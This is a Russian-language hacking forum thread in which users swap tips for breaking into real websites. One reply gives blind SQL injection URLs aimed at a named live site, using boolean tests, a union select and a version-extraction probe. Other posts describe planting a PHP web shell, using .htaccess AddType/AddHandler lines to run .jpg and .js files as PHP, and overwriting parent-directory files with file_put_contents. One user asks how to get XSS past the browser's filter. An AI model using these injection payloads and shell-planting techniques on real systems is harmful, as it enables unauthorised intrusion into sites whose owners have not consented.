Смотря какая ситуация, если редиректит при sql-иньекции то может редиректить на вывод или тру результат, обьесни конкретную ситуацию...
Вообщем есть сайт: Если изменить id на несуществующий - редирект на index.php. Так же если начать раскручивать инъецию происходит редирект, даже если все верно.
Если версия Мускула < 5.1 то 0% В твоём случае редирект является индикатором правильности запроса. Так как у тебя инъекция в where строй правильную логику запроса. Например Code: http://www.igorkuljeric.com/news.php?kat_id=163+and+1=1 Нет редиректа http://www.igorkuljeric.com/news.php?kat_id=163+and+1=2 Есть редирект Да, и в твоём случае вывода нет. _ttp://www.igorkuljeric.com/news.php?kat_id=163+and+1=2+union+select+222 Так что только через Blind-SQL injection _ttp://www.igorkuljeric.com/news.php?kat_id=163+and+substring((@@version),1,1)=5
У меня в браузере хсс не отображается(не показывает окошко алерт) но ie пишет: возможность межсайтового скриптинга заблокирована. Что сделать чтобы окошко изобразилось?
такая проблема, залил шелл через майскул, в .htaccess запрешено в этой деректории(картинки) использовать php, залил глебже в дерикторию .htaccess с содержимым AddType application/x-httpd-php .js AddHandler application/x-httpd-php .js AddType application/x-httpd-php .jpg AddHandler application/x-httpd-php .jpg в итоге файлы в форматах .jpg и .js выполняют php, после долгих мучений от того что ничего не получалось я додумался посмотреть phpinfo(); и увидел приичину моих бед allow_url_fopen Off что блин ешо можно придумать?
я не могу изменьть инфу в файлах которые находятся выше по каталогу например выполняю код PHP: $a = file_get_contents("../.htaccess"); echo $a; показывает Deny from all далее выполняю код PHP: file_put_contents("../.htaccess","AddType application/x-httpd-php .js AddHandler application/x-httpd-php .js AddType application/x-httpd-php .jpg AddHandler application/x-httpd-php .jpg"); реакции ноль также PHP: file_put_contents("../../index.php","aaa"); реакции ноль, правятся только те файлы что лежат в етом же каталоге
В общем возникла ситуация, получил доступ в админку в управление файлами смог спокойно загрузить свой php shell, но возникает проблема, при обращение по прямой ссылке предлагает скачать файл, попытался загрузить .htacces в ответ получил, такое сообщение: "Произошла ошибка! - Название файла не соответствует шаблону <name.ext>." Есть идеи?
